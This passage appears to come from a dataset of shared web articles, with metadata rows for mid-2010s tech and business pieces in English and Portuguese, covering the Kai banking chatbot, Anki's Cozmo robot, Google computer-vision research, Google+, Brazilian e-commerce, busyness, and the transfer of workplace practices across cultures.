bot. That said, natural language understanding is only part of what's needed to make Kai work. Once it grasps what I'm saying, it must act on that. This breaks down a little because the Kai is dependent on the info supplied by my bank. It doesn't realize that some of that $199.83 went to fruit and pastries because it's just looking for the word coffee in each payment record. The bigger picture is beyond the bot because it's beyond my bank data. But I can ask Kai to list all my coffee-shop transactions, and then, just from the prices listed, I can infer. Kai doesn't always answe my questions with complete precision. But it's gives me some decent info. I'm now thinking I should cut back on all the coffee shop espresso. That's fun, and kinda useful. But the bigger question is whether this bot is something people will use on a regular basis-not just for a day. In China, so many people use WeChat, a popular messaging app, to interact with other online services . This is how they hail a car or make a plane reservation. But that's China, where the Internet evolved in very different ways. We Americans are already wedded to apps , and it's unclear whether a messaging service could really save us that much time and energy-or, even if could, whether we would make the transition. Inertia is a powerful thing. DBS , now the largest bank in Southeast Asia, is also working to embed its chat-happy banking app in outside messaging services like WhatsApp and WeChat, and Gupta sees this as the future. He's trying to compete with Alibaba, the Chinese company that has already brought so many banking tasks online, but he also believes banking bots can take off in the U.S. too. ""Banking is going to be embedded in other things you want to do with your life,"" he says. Even in China, it should be said, people don't really use chatbots. When they juggle various Internet services through WeChat, they send pre-defined codes or press certain software buttons. They don't carry on conversations with bots. The chatbot idea is still a bit of mystery. But that means it could go either way. Kai doesn't seem useful enough to replace my banking app. But it's evolving, with Kasisto also working to with banks like DBS to deeply integrate it with their systems. And I'm certainly intrigued. That could be the caffeine talking. But maybe not.",en
1467142588,CONTENT SHARED,8857442213860272383,-1352064057049251194,8046803147224074160,,,,HTML,https://www.bemparana.com.br/noticia/451015/lista-mostra-os-sites-de-compras-mais-procurados-pelos-brasileiros.-confira,Lista mostra os sites de compras mais procurados pelos brasileiros. Confira,"(foto: Reprodução) A SEMrush, líder global em marketing digital, verificou em seu banco de dados quais são os sites de e-commerce que são mais lembrados pelos brasileiros na hora de procurar lojas online e produtos no Google. Mercado Livre é o líder nas buscas, mais de 20,4 milhões de pessoas procuraram pela loja no Google. Na sequência aparece as Casas Bahias, com 7,4 milhões de buscas, segunda mais lembrada na hora de comprar produtos online, seguida pelo Aliexpress, portal de vendas online do grupo chinês Alibaba, com 5 milhões de buscas. O e-commerce Magazine Luiza também figura na lista, empatado com o Aliexpress e com a Netshoes, loja online de artigos esportivos e calçados. Ainda no Top 5 se encontra o Ponto Frio, tradicional loja de varejo brasileira, com 4,9 milhões de menções, seguida pelo Walmart (2,7 milhões). Nesta lista aparecem também entre as principais lojas online lembradas pelos consumidores Dafiti, Centauro, eBay, Buscapé e Livraria Saraiva. Produtos Encabeçando a lista dos produtos mais procurados figura o item ""celular"". As expressões ""Casas Bahia + celulares"" (1,6 milhões de menções), ""Casas Bahia + celular"" (1,3 milhões) e ""Magazine Luiza + Celulares"" (1,1 milhões) são as três mais buscadas na combinação produtos com nomes de lojas online. Também aparecem na classificação ""Mercado Livre carros"", ""NetShoes tenis"" e ""Centauro tenis"", ""Mercado Livre roupas"", ""NetShoes chuteiras"", ""Casas Bahia móveis"", ""Casas Bahia TV"", ""Mercado Livre motos"", ""Dafiti calçados"", ""guarda roupa Casas Bahia"" e ""Mercado Livre caminhões"". Curiosidades ""WalMart USA"", ""eBay Brasil"", ""Mercado Livre RJ"", ""Aliexpress Brasil"", ""Mercado Livre DF"" e ""Mercado Livre RS"" são os principais locais combinados com nomes de portais de e-commerce presentes na lista. Com relação a formas de compra e pagamento, os termos mais procurados no Google são ""cartão Casas Bahia"", ""Magazine Luiza Cred"", ""Magazine Luiza promoção"", ""cupom de desconto NetShoes"" e ""cupom de desconto Ponto Frio"". Para essa pesquisa, a SEMrush levantou 29.502 palavras-chave de cauda longa contendo nomes de lojas de e-commerce famosas no Brasil e sem seguida selecionou as mais populares.",pt
1467142693,CONTENT SHARED,-3612149709424815327,-1352064057049251194,8046803147224074160,,,,HTML,"http://m.br.fashionmag.com/news/Netshoes-e-grande-vencedora-do-Premio-BR-Week-2016,708232.html",Netshoes é grande vencedora do Prêmio BR Week 2016,"A varejista de moda e artigos esportivos Netshoes foi a grande vencedora do Prêmio BR Week, o maior reconhecimento para o varejo brasileiro. A empresa foi considerada a Varejista do Ano entre as empresas de grande porte. Foto:Gustavo Cândido Além do maior reconhecimento da premiação, a organização venceu nas categorias E-commerce, Gestão Financeira e Varejo não listado em bolsa. Para a empresa, o reconhecimento é um sinal de que as atividades estão no caminho certo. ""É uma honra receber este prêmio, principalmente em um ano tão difícil no mercado brasileiro. Isso comprova que fazer um trabalho diferenciado, com foco no cliente e a busca pela melhor experiência e inovação trazem bons resultados para os negócios. É isso que queremos sempre com a Netshoes!"", declara Graciela Tanaka, COO da companhia. O Prêmio BRWeek marca a abertura do Brazilian Retail Week, maior evento de varejo do Brasil, que será realizado entre os dias 28 e 29, no Hotel Transamérica, em São Paulo. Para esta edição, o maior congresso do segmento traz o tema 'Varejo orientado a resultados'. Fonte: Portal NoVarejo",pt
1467143237,CONTENT SHARED,-592655813177747831,-1032019229384696495,-1382304469206973597,,,,HTML,http://www.wired.com/2016/06/anki-cozmo-ai-robot-toy/,"Cozmo Is the Smartest, Cutest AI-Powered Robot You've Ever Seen","Boris Sofman taps his phone, and the robot on the conference room table in front of him wakes up. Not in that gadget-y way, like when a laptop screen turns on, though. The robot slowly raises its head and opens one eye, then the other, as if the light of the world is just too much. Sofman, CEO of robotics company Anki, chuckles as the it shakes off the rust of sleep and ambles off its charging cradle. After circling the table a moment, it drives quickly to the edge. It only pauses once it's driven halfway off. I instinctively put my hand out to catch it, but a split second later, the robot looks down, and its blue OLED eyes go wide. Sofman smiles. The robot yelps in a tiny robot voice, flails its single, u-shaped arm in terror, quickly reverses its bulldozer-style tracks, and backs away. ""This little guy,"" Sofman says, ""is Cozmo."" Three years ago, Sofman took the stage at Apple's WWDC keynote and demonstrated Anki Drive , a set of artificially-intelligent race cars. That was Anki's first product. Cozmo is its second-third if you count a major update to Drive-launching today after five years in development. It is a $180, coffee-mug-sized, vehicular robot-like a cross between a Furby and a Tonka Truck. Like Drive, Cozmo is a toy. It's meant largely for children, and it is adorable. With most toys, Sofman says, it's up to the humans playing with them to provide creativity. Your C-3PO doesn't act like C-3PO unless you do all the work. ""Here,"" Sofman says, ""we can actually make him true to form."" Thanks to a wholly unique combination of computer-vision science, advanced robotics, deep character development, and a set of machine-learning algorithms that Anki calls the ""emotional engine,"" Cozmo is meant to be something very much like a real-life version of Wall-E or R2-D2. It's not human, but it feels real. If Anki can actually pull off this difficult mix of high-tech and kid-friendly, Cozmo could be much more than the next Tickle Me Elmo or Furby. Next time a Pixar movie comes out, the cute characters could feel as alive in your living room as they do on-screen. Sofman and his team are offering SDKs for nearly every part of Cozmo, and they imagine children learning to program by building fun new games and features for their adorable robots. ""With enough attention and love to it,"" Sofman says, ""this could be the most capable STEM platform that ever existed."" They'll be updating the robot's software constantly with new games and capabilities. It may look and act like a toy, but Anki wants it to be the next big thing in hardware computing. The hoped-for next big thing in hardware computing is currently staring at me, with two blue OLED eyes wide and unblinking. ""Oh,"" Sofman says. ""He wants to meet you."" Going Off-Road The Anki crew has been thinking about Cozmo since well before Sofman's Drive demo at WWDC. From 2005-2010, Sofman was a PhD student in the well-regarded robotics program at Carnegie Mellon (which is now maybe most famous for being the place Uber raided for talent when it started developing self-driving cars). He, along with classmates Mark Palatucci and Hans Tappeiner, wanted to do something unique with their research. ""They came in,"" says stadium-filling venture capitalist Marc Andreessen, recalling his first meeting with the team in 2011, ""and they basically said, 'We have these backgrounds in robotics, and we could spend our lives building these sort of AI robots that cost millions of dollars and work on assembly lines.'"" That's what just about everyone with a robotics PhD does. ""But they said, 'We really think that's inadequate. This technology is ready to be shrunk down into products that cost hundreds of dollars, and are able to be in the home."" They showed Andreessen a working version of Drive, plus renderings of what would become Cozmo. Andreessen led a huge funding round, and now sits on Anki's board. He calls Anki ""the best robotics startup I have ever seen."" Once Drive launched in 2013, work on the little robot began in earnest. Anki's first Cozmo hire was Andrew Stein, another Carnegie Mellon PhD (this is a recurring theme), to work on computer vision. One nice thing about Drive was that cars were moving on a track, which Anki used to map their position. ""We don't have that with Cozmo,"" Stein says. Anki did consider building the robot with a little play-mat, but Stein says ""it takes away from the product. It feels less like a little creature if that little creature can only run around on the mat he comes with."" Cozmo, then, had to be able to constantly map its surroundings and navigate through them. Cozmo is solving the same kinds of problems as Google's self-driving cars. They're hard problems: ""The number one challenge"" for a home robot, says Chelsea Finn, a PhD researcher at Berkeley, ""is to see the unstructured environment, and make actions depending on the state of the environment."" Luckily, researchers are coming up with answers. ""There have been these huge leaps and bounds in computer vision with deep learning,"" Finn says, ""and hopefully we can make real progress."" Cozmo is fully based on computer vision and deep learning. The robot sees the world through a single camera in its face, hidden in a slot that's meant to look like a mouth. The camera runs at 15 frames per second, sending the footage to your phone, which does all the processing before sending instructions back to the robot. So Cozmo will always have as much processing power as that fancy new computer in your pocket. The downside, of course, is that you need a phone nearby when you're playing with the li'l bot. The phone trick didn't solve all of Anki's problems, either: Stein spent years working out how to compensate for the latency that comes with sending data back and forth. It would be impossible to hard-code every imaginable playplace into the system, which is why machine learning has become such a crucial part of Anki's efforts. ""A lot of situations where you invoke machine learning,"" says Michael Wagner, a CMU robotics researcher who amazingly is not involved with Anki, ""are because you don't really understand what the system should do. How should it prefer to drive over rough terrain versus smooth terrain? You don't know. So you throw machine learning at it."" Lots of testing, lots of training, and the system figures out how to react by itself. Many of what Anki's dealing with are standard robotics challenges, but no one's ever solved them for this kind of product. This robot doesn't have to be perfectly efficient, like an assembly-line worker. This robot has to be fun . Would You Like to Play a Game? The key, Anki discovered, was to take everything Cozmo needs to do and somehow make it part of its character. It's a toy, after all. Nobody wants to read a manual, or put their cute little robot down on the floor and wait ten minutes while it meticulously maps its surroundings. So early on, Anki decided that Cozmo should appear to curious: Put it down and it'll instinctively start looking around. It's also a pathological show-off, which is both delightfully silly and a perfectly practical way to teach users about Cozmo's many features. The wee bot will grab one of its blocks, put it down in front of you, and announce a desire to play a game. Cozmo's favorite initial game seems to be a color-matching competition called Speed Tap. You and Cozmo each take a block, and when their blinking colors match whoever taps their block first wins. (It's way more fun than it sounds, I swear.) Cozmo is a cheeky gamer; the little scamp tried to fake me into tapping my block when they didn't match, and stormed off when I won. And it's those little tics, the banging of its lift-like arm and spinning in circles and squawking in its Wall-E voice, that really makes you want to refer to the little guy as ""he"" rather than ""it."" To give these emotions and reactions visceral weight, Anki created what it calls an emotional engine: a collection of algorithms that affect the way the robot mimics feelings. The Anki team did a lot of research on emotions, focusing especially on the so-called Core Emotions written about by psychologist Paul Ekman and portrayed in movies like Inside Out . Almost like a human, Cozmo is aware of many potential emotional responses at any given time, all vying for a ride on that bit of data that shoots from the inside of its processor to the robot's means of expression. Take that moment when it rolled up to the lip of the conference room table, for instance. ""He sees an edge,"" Sofman says, ""and that spikes a response in him."" He points to a real-time graph of all of Cozmo's available states. ""He's a little less brave, a little less calm, a little less happy."" It's a very sophisticated imitation of nervousness. When Cozmo sees a block, those same variables combine to simulate excitement and confidence. And if it tries and fails to pick a block up, it would ""get"" sad and apprehensive. You can see it in the graph, and you can see it in Cozmo. And just as important as it was for Anki to create recipes for emotional expression, it was also necessary for the team to make sure that it wasn't... robotic. Cozmo might react the same way twice, but it's programmed to be unpredictable. ""Kids would very quickly realize if, like, it was a 'do A get B' scenario,"" says engineer Brad Neuman. ""Kids are smart."" The way Cozmo shows these feelings, of course, is every bit as important as having them in the first place. For that, Anki hired the man they now call ""the soul of Cozmo,"" Carlos Baena. Baena spent a decade at Pixar, animating a bunch of minor characters you maybe heard of, like Wall-E, Nemo, Mr. Incredible, and Buzz Lightyear. During one of their initial meetings, Sofman and Tappeiner showed Baena a smartphone video of a 3D-printed prototype interacting with an Anki employee. All Baena could look at was the employee's face. ""He just kept talking to [Cozmo], you know?"" he says. ""Sometimes, even cursing at him. It was past being a cute little thing. It felt deeper."" He saw in Cozmo the possibility for a connection beyond anything you can get through a movie-theater screen. Baena and his team created a nonsensical language and chipper voice that is still somehow communicative, the same way R2-D2 managed to say so much with beeps and bloops. They spent months looking at the eyes of cartoon characters, learning how and what they can communicate. They wrote an original score for Cozmo, which plays from your phone as he motors around. Just for effect, Neuman showed me the same Cozmo motions without the animations and music. It was nifty, like a remote control car, but lifeless. Then the eyes came alive and the sounds began, and Cozmo was back. Anki's still working out some bugs, trying to figure out the difference between delightful unpredictability and actual buggy software. But even this fall, when Anki launches Cozmo to the world, it won't be finished-it can't be. Because, no matter how sophisticated the robot's programming is, it can't actually re-program itself. Not even Google's AlphaGo can do that. At least for now, AI engineers must retrain systems with new machine learning algorithms or new data before they can truly operate in new ways. The company plans to keep updating it so that you never run out of things to do with your crazy little robot. ""We'd like to get it to the point where it literally does new things every day,"" Andreessen says. ""We want it to be programmable."" They hope that other companies will build robots like Cozmo, maybe even robots that are aware of Cozmo and want to be friends. This real-world video game might just take over the world. Or maybe it won't. And then Cozmo will be all alone, and sad-at least, it'll appear that way.",en
1467143303,CONTENT SHARED,430255078684584595,-1032019229384696495,-1382304469206973597,,,,HTML,https://techcrunch.com/2016/06/28/google-researchers-teach-ais-to-see-the-important-parts-of-images-and-tell-you-about-them/,Google researchers teach AIs to see the important parts of images - and tell you about them,"This week is the Computer Vision and Pattern Recognition conference in Las Vegas, and Google researchers have several accomplishments to present . They've taught computer vision systems to detect the most important person in a scene, to pick out and track individual body parts, and to describe what they see in language that leaves nothing to the imagination. First, let's consider the ability to find ""events and key actors"" in video - a collaboration between Google and Stanford. Footage of scenes like basketball games contains dozens or even hundreds of people, but only a few are worth paying attention to. The CV system described in this paper uses a recurrent neural network to create an ""attention mask"" for every frame, then tracking relevance of each object as time proceeds. Over time the system is able to pick out not only the most important actor, but potential important actors, and the events with which they are associated. Think of it like this: it could tell that someone going in for a lay-up could be important, but that the most important player there is the one who furnishes the denial. The implications for intelligently sorting through crowded footage (think airports, busy streets) are signifiacnt. Next is a more whimsical paper: researchers have created a CV system for discovering the legs of tigers. Well... there's a little more to it than that. The tigers (and some horses) simply served as ""articulated object classes"" - essentially, objects with continuously moving parts - for the system to watch and understand. By identifying independently moving parts and their motion and position relative to the rest of the animal, the limbs can be identified frame by frame. The advance here is that the program is capable of making that identification across many videos, even when the animal is moving in different ways. It's not that we desperately need data on the front left legs of tigers, but again, the ability to find and track individual parts of an arbitrary person, animal, or machine (or tree, or garment, or...) is a powerful one. Imagine being able to scrape video just for tagged animals, or people with phones in their hands, or bicycles with panniers. Naturally the surveillance aspect makes for potential creepiness, but academically speaking the work is fascinating. This paper was a collaboration between the University of Edinburgh and Google. Last is a new ability for computer vision that may be a bit more practical for everyday use. CV systems have long been able to classify objects they see: a person, a table or surface, a car. But in describing them they may not always be as exact as we'd like. On a table of wine glasses, which one is yours? In a crowd of people, which one is your friend? This paper, from researchers at Google, UCLA, Oxford, and Johns Hopkins, describes a new method by which a computer can specify objects with question of confusion. It combines some basic logic with the powerful systems behind image captioning - the ones that produce something like ""a man in red eating ice cream is sitting down"" for a photo more or less meeting that description. The computer looks through the descriptors available for the objects in question and finds a combination of them that, together, can only apply to one object. So among a group of laptops, it could say ""the grey laptop that is turned on,"" or if several are on, it could add ""the grey laptop that is turned on and showing a woman in a blue dress"" or the like. It's one of those things people do constantly without thinking about it - of course, we can also point - but that is in fact quite difficult for computers. Being able to describe something to you accurately is useful, of course, but it goes the other way: you may some day say to your robot butler ""grab me the amber ale that's behind the tomatoes."" Naturally, all three of these papers (and more among the many Google is presenting) use deep learning and/or some sort of neural network - it's almost a given in computer vision research these days, since they have gotten so much more powerful, flexible, and easy to deploy. For the specifics of each network, however, consult the paper in question. Featured Image: Omelchenko / Shutterstock",en
1467145489,CONTENT SHARED,-3946932055798267834,801895594717772308,8570706322370780593,,,,HTML,http://www.theverge.com/2016/6/28/12049582/google-plus-anniversary-2016,Google+ is five years old today,"Somehow, don't ask me how , Google's zombie of a social network experiment has shambled its way to the grand age of five years old. That's right, Google+ was launched on June 28th, 2011 , at a time when Google still thought it could head off the rising threat of Facebook and its irresistible urge to consume the entire internet . Like its predecessor Google Buzz, G+ failed to convince people to make it part of their everyday lives, even though it hooked into ubiquitous online services like Gmail, YouTube, and Google search. At varying points, Google+ was pushed as Google's premier photo-sharing platform, or its go-to video chat destination, or, most egregiously, a necessary portal for logging in to your YouTube account. All of those efforts have now been scaled back or reversed , leaving G+ as a vestige of an over-ambitious Google that miscalculated just how far user goodwill would take it. Google+ started off promisingly, especially for people like myself who were (and still are) desperate for an alternative to Facebook's blue blandness, but its interface wasn't especially user-friendly and its founding concept of bundling people into Circles felt strangely sociopathic. Today, Google+ persists mostly as a gesture of loyalty to established users and communities, of which there are still a few highly engaged ones kicking around. It will never scale the heights of Google's original ambitions, and after all its fragmentation into smaller bits, its ultimate fate is most likely to be as another bullet point on Google's spring cleaning list of service discontinuations. But for now at least, G+ lives on!",en
1467156044,CONTENT SHARED,-7509877147979461087,8164031568920151381,-481404935808188339,,,,HTML,https://www.linkedin.com/pulse/como-ser-menos-ocupado-em-um-mundo-danilo-moraes,Como ser menos ocupado em um mundo ocupado,"Não estou certo quanto a resposta, mas duvido da pergunta. Eu imagino que algumas pessoas gostam disso. Estar ocupado é quase como um status, já que isso acaba mostrando a importância individual, certa produtividade e até conquista. Se alguém está em uma reunião importante, respondendo e-mails pelo iPhone, fazendo ligações, certamente deve ser importante, certo? Hm. Talvez a gente estava muito ocupado até agora e acabamos perdendo a hora de começar a rejeitar este jogo. E se a gente começar agora, dizendo algo como: ""Eu prefiro encontrar tranquilidade para a minha mente e relaxar, estar disposto a aproveitar a vida. Ao invés de permitir que isso passe por cima de mim e somente então, eu vou poder ser 'produtivo' e mostrar a todos o quanto eu sou importante."" Pode ser que funcione. E ainda pode ser mais simples, ao invés disso tudo, basta dizer: ""Não, obrigado. Tô fora!"" Porque o estado de ocupado é uma merda Essa coisa com o estado de ocupado é uma espiral sem fim. Você nunca vai estar livre dela - a menos que você tenha um esforço muito consciente - porque nunca vai existir um fim para a lista de afazeres, e-mails, mensagens no WhatsApp, ligações, reuniões, reuniões e mais reuniões. Estamos nesta espiral, correndo o tempo todo por um propósito que muitas das vezes acaba não sendo real, exceto para fazer a vontade do chefe, fazer dinheiro para outra pessoa ou então, fazer dinheiro para nós mesmos... mas qual é preço deste propósito mesmo? A espiral nunca acaba. A gente esquece porque está nela. Não existe um fim, porque talvez não exista uma jornada clara. Mas vamos imaginar uma coisa: a jornada já é o destino. Chegamos lá - o que nós fazemos hoje é o que a nossa vida é e vai ser assim até o final. E então, estar ocupado este tanto é o significado da vida? Ou existe algo a mais? Existe uma jornada mais plena? Acredito que nós deveríamos evitar o estado de ocupado em troca de coisas de mais valor. Trocar o urgente pelo importante. E até mesmo, se nós estivermos fazendo coisas importantes, nós não deveríamos preencher todos os minutos da nossa vida com elas. Precisamos reaprender a relaxar, ser feliz, aproveitar o dia a dia. Caso contrário, esta não deve ser a vida que vale a pena ser vivida. Precisamos reaprender como é não fazer nada, sentar quieto, aproveitar o silêncio . Precisamos colocar mais espaços entre as coisas, ao invés de colocar elas todas juntas o tempo todo. Parar de estar ocupado e começar um dia depois do outro. Mas como raios estar menos ocupado? Eu comecei com uma decisão há um ano: Quero estar menos ocupado. E não quero estar assim nunca mais. E o que seguiu dali em diante, dependeu muito do meu controle no dia-a-dia. Se eu tenho controle Comecei fazendo duas listas: uma com o dia ideal e outra com todas as coisas que preenchiam o meu dia (todos os compromissos). Comecei a eliminar os compromissos que não eram essenciais, aqueles que não deixavam o dia ser ideal  - comecei a ligar ou mandar e-mail cancelando compromissos, dizendo que não tinha mais aquele tempo. Algumas pessoas ficaram desapontadas, mas sobreviveram. Comecei a seguir a agenda ideal. Tendo a certeza de existiam espaços entre as coisas, para não precisar correr. Deixei grandes espaços de tempo livre, e então poderia focar em criar ou fazer coisas que me faziam feliz. Deixei pelo menos um grande espaço para fazer coisas não relacionadas ao trabalho, como passar um tempo com a família, passear com minha cachorra, fazer exercício, um hobby ou apenas relaxar. Escolhi o que poderia eliminar da minha lista de tarefas. Passei a delegar ou adiar. Cada dia, escolhi uma ou três coisas para focar. Separei um espaço de tempo designado para e-mails, ligações e pequenas tarefas, para elas então não me interromperem ao longo do dia. As adiadas, geralmente se tornavam menos importantes e eram eliminadas por si só. Pouco a pouco comecei a desconectar da Internet por uma boa parte do tempo. Quando estou em lugares, geralmente desligo o celular ou esqueço na mochila. Carrego meu moleskine e faço anotações lá. E então, posso desconectar um pouco do mundo online, sem interrupções e se conectar ao mundo real, com pessoas reais. Comecei pouco a pouco me livrar das distrações e interrupções para não estar sempre alternando a minha atenção entre as coisas. Ainda não cheguei lá, mas estou no caminho. Hoje evito reuniões. Sério. Elas preenchem o dia sem serem produtivas. Costumo focar em uma tarefa só ao invés de múltiplas. Foco nas coisas importantes ao invés de um punhado de coisas menores. Isso não significa que deixo de pensar em múltiplas coisas, apenas distribuo elas melhores no meu tempo. Se eu me pego abrindo uma nova aba para ler, favorito para ler depois. Se lembrar, era importante. Se não, ela morre ali. Se eu não tenho tanto controle Criei um dia ideal. Eliminei os compromissos e simplifiquei a lista de tarefas pra me livrar das distrações e interrupções. Quase todos vão conseguir fazer a maioria destas coisas, se não a maior parte delas. Falei com meu chefe. Disse que gostaria de ser mais 'produtivo' e que as interrupções e reuniões ficavam no caminho para realizar coisas mais importantes. Falei sobre o que gostaria de realizar e o que gostaria de mudar sobre minha agenda. Passei a exercitar como um compromisso. Mudei de trabalho. Pense sobre isso se você realmente não tiver o controle. Essa é uma mudança de longo prazo, obviamente, mas é possível e até mesmo desejável. Algo a se considerar, pelo menos. Por fim, escolhi mudar sempre. Qualquer que seja a mudança que você faça, você pode ser menos ocupado simplesmente mudando a sua mentalidade, para uma em que você vive no presente ao invés de estar sempre pensando sobre as coisas que deixou no passado e as que tem que fazer no futuro. Vamos desacelerar, respirar e aproveitar cada momento. Aprender como focar no que está a nossa frente, encontrar um caminho sereno em tudo o que vamos fazer. O tempo está passando e se não passamos com ele, somos nós que ficamos pra trás. escreva uma resposta ou deixe uma nota para que eu possa saber sua opinião à respeito. se gostou do post, dê like, comente, compartilhe e então você ajuda mais pessoas a encontrá-lo também. quer conversar? fala comigo no instagram . quer saber mais sobre mim? bitly.com/dmoraes",pt
1467162613,CONTENT SHARED,489290927107045539,3061273947166110301,1231605198738975565,,,,HTML,https://hbr.org/2016/06/research-why-best-practices-dont-translate-across-cultures,Research: Why Best Practices Don't Translate Across Cultures,"It made sense. A large high-technology company had established an innovation center in one of their U.S. offices where employees were entrepreneurial, engaged, excited to come to work, and as a result were quickly developing new ideas for customer-facing products. So the firm wanted to replicate that success in other places, namely India and China. Leaders from the U.S. held week-long workshops designed to expose workers at the China and India sites to the U.S.-developed practices of rapid development cycles , user-centered design , and collaboration in an open office layout . Leaders also provided the sites with detailed instructions on how to implement these new practices. They even sent one of the U.S. employees to work on site in India for a year. But the effort didn't have the results they expected-and elements of those important concepts were lost in translation. Leaders, like those at this company, often assume that if a practice worked in one place, it will in another-and they want to reap the benefits of sharing common practices across locations. But they aren't always successful. Many of us know this intuitively: best practices are optimized for a particular place and time and don't necessarily transfer well between cultures . They're like a shoe that doesn't always fit. You can put the shoe on, and it may even look nice, but it will likely create blisters if the fit isn't exactly right. That's how it is with practices that don't quite fit another cultural context. It isn't that workers in other countries, such as China and India in the example above, are doing anything wrong-they're not the cause of the blisters. My research reveals some interesting findings about how and why practices do and do not transfer well from one culture to another. I've contributed to three different studies that show why certain practices fall apart and what leaders can do to avoid wasting money, squandering time, and frustrating employees. You and Your Team Series Managing Across Cultures The first study was at the high-tech company I mentioned above. Sara Vaerlander, Bobbi Thomason, Brandi Pearce, Heather Altman, and I observed what happened after the innovation practices were shared with the company's Indian and Chinese counterparts. What we saw, and what I've seen happen elsewhere, is that despite the fact that these employees were all part of the same company and even doing the same type of work, the practices weren't interpreted or implemented the same ways across cultural contexts. In the U.S., for example, shorter development cycles were understood to be analogous to a start-up culture in which workers have more autonomy and room to experiment . U.S. employees therefore welcomed the opportunity to take more chances and saw failure as promoting learning and innovation . In China, however, workers equated speed with efficiency. They told us that the compressed schedule increased their focus and led them to be more discerning about the functionality they included in the product. In India, workers had yet another interpretation: they saw the shorter cycles as a way to align their processes and skills with developers around the globe, who they believed were also moving to more rapid cycles, and they applauded the move as a way of forcing more engagement with customers earlier in the process. None of these interpretations is wrong, of course, but they resulted in inconsistent implementations. For example, the efficiency lens in China led to an adoption of the practice that was out of line with the goals of the innovation center to be more agile and iterative. They accepted the 90-day deadline, planned tighter schedules, reduced functionality, and exhorted themselves to work more efficiently. So although implemented as specified, the shorter development cycles had no discernible impact on innovation. Something similar happened with user-centered design. In the U.S., the practice was seen as a natural extension of a customer-oriented culture, one in which customers were more involved in the development process. In China, however, talking with customers was seen as in imposition on both the developers and the customers, who were considered uninterested and unreliable in articulating product requirements. Given the China site's historical emphasis on high quality software development, incorporating regular input from customers was seen as contrary to good engineering practice so developers didn't adopt the approach. In contrast, developers in India welcomed user-centered design as an extension of their existing practices of engaging their community and personal networks to get input throughout the development process. The third element of the innovation center concept was open office space. In the U.S., managers believed that open, flexible workspaces fostered collaboration and innovation and the center was established some distance from the main campus, which U.S. employees found liberating. Open office layouts were rather unusual in China and developers there were confounded by the expectation of being more collaborative. Instead, they continued to follow their conventions of working quietly at their desks with little interaction except during meetings and over lunch. And they saw the separation from the main campus as isolating. As a result, many of the workers spent the bulk of their time back at the main campus where they felt more a part of things. Eventually, this innovation center closed so that the employees could return to the main campus. Workers at the Indian site also weren't fans of the geographic separation; they worried they were losing their connection to other parts of the organization. We also noticed that the Indian workers were uncomfortable in the wide-open spaces and reverted to using meeting rooms as project spaces, in which they collaborated intensely . So while this wasn't what the company had intended, the Indian workers were able to apply the spirit of the open space mandate. Still, the inconsistency was interpreted as a failure by the U.S. leadership. At first glance, it might seem like the developers in China were resistant. To the contrary, they were in fact enthusiastic and highly motivated, but as they worked to integrate the practices into their local activities, they encountered barriers and didn't have the guidance to overcome them. Unlike the site in India, the developers in China didn't have a liaison who helped them with the adaptation process, so the practices were lost in translation. Although some practices transfer intact, many require adaptation. Without adaptation, practices tend to be either rejected or adapted only ceremonially, thus not achieving the desired benefits. In this study, when workers understood the intent of the practice and had the freedom and support to reinterpret and adapt the practice within their own cultural context, they were much more likely to achieve the spirit of the practice. In a similar study , Catherine Cramton and I interviewed and observed members of nine software development teams with two locations represented on each either US-India, US-Germany, or Germany-India. With these groups, we noticed that management practices that worked well in Germany and the U.S. didn't fare as well in India. For example, processes for evaluation and rewards that motivated American and German developers created dissatisfaction in India and even drove workers to look for other jobs. For example, in Germany and the U.S., workers were given minimal supervision from management and they appreciated the autonomy. In India, however, developers were younger and hungry for more contact with and frequent feedback from managers. In some cases, they left for companies where managers were more hands-on. The flat hierarchy common in Germany and the U.S. was also met with disappointment in India where a steeper hierarchy afforded more opportunities for quick advancement. In India, workers yearned for regular promotions as tangible indicators of their career growth. The India office adapted by rotating Indian developers through project lead or coordinator roles that provided the responsibility and indicators of growth that Indian developers were seeking. These practices helped to ease the dissatisfaction. In a third study, which is ongoing, Steve Barley, Zachariah Rodgers, and I are examining the use of collaborative technologies in a company with offices in Japan, Mexico, and the U.S. As we expected, despite these employees working for the same company, doing the same type of work and having access to the same systems, we noticed differences in how they employed these collaboration technologies. In Mexico, for example, we found that workers' commutes were less predictable so working from home is more common. As a result, technologies that supported telecommuting were more enthusiastically adopted than in Japan where tradition dictated that work happen in the office. We've also noticed differences in the choices of collaborative technologies. For example, Jabber was more heavily used in Mexico and the U.S., than in Japan and, when it was used in Japan, it was used more formally, e.g. with formal greetings. Workers in Japan relied more on high-end telepresence systems whereas workers in Mexico and the U.S. were more inclined to use desktop audio or video solutions for meetings with distant collaborators and customers. I've observed elsewhere differences in how collaboration technologies, such as knowledge management systems, are adopted. These systems are meant to encourage employees to share their knowledge and expertise with others, and oftentimes, in Western cultures, there are incentive systems that reward contributors with ""points"" and awards. Implicit in these systems is the assumption that individual workers own their knowledge. In more collectivist and hierarchical cultures, however, individuals may not see themselves as having the authority to share knowledge. Instead, such rights reside with the team or manager. As a result, we tend to see a significant drop in the use of knowledge management systems as they move from West to East. So if transferring best practices across cultural lines is difficult to do and sometimes just doesn't work, what can be done? Here are a few things I've seen work in the organizations we've studied. Focus on the intent of the practice, not specific behaviors. When leaders focus on the goals and intended outcomes of the practice, it creates space for workers to adapt the practice to the cultural context while still realizing the underlying intention. This is what happened when the India innovation center used project rooms in the open office. Workers were collaborating, even if it wasn't in the way the U.S. leaders had intended. When leaders actively encourage adaptation, it allows workers to achieve the goal in a way that is optimal for that location. This, of course, requires leaders to be extremely clear about the intent of the new practices and ask questions about what might work in a given location rather than providing detailed implementation instructions. Of course, it can be difficult to differentiate cases in which practices are rejected because they are out of alignment with the cultural context from cases in which workers are resisting change. Liaisons can help with this. Have a cultural liaison help translate the practice. This is someone who deeply understands the practice and can do the work of making sure it's adapted in a way that maintains the spirit of the original. Ideally, this person also has experience in the receiving cultural context so that they know what aspects of the practice might be incompatible. We've observed that the adaptation process, with the help of the liaison, tends to be iterative, where the receiving site might try out the new practice and identify ways in which it doesn't fit, and then try out practices that better resonate within the cultural context, while also preserving the intent of the practice. Strive for compatibility, not replication. When teams are globally distributed but collaborating closely, allowing each site to adapt the practice to their own cultural context can create confusion and strain coordination. For example, in the case described above in which the company rotated the project lead and coordinator roles in India to give Indian developers more of a sense of career advancement, inconsistencies were introduced in the roles across locations. Employees in other sites complained about not knowing who to go to or what level of expertise someone with a specific title had. When collaborating globally, some discrepancies across sites are inevitable. The challenge is finding practices that are compatible across multiple culture contexts. Experimentation-and flexibility­-can be helpful in identifying practices that work across sites. Support experimentation. It often takes multiple iterations to find an adaptation that fits the cultural context and 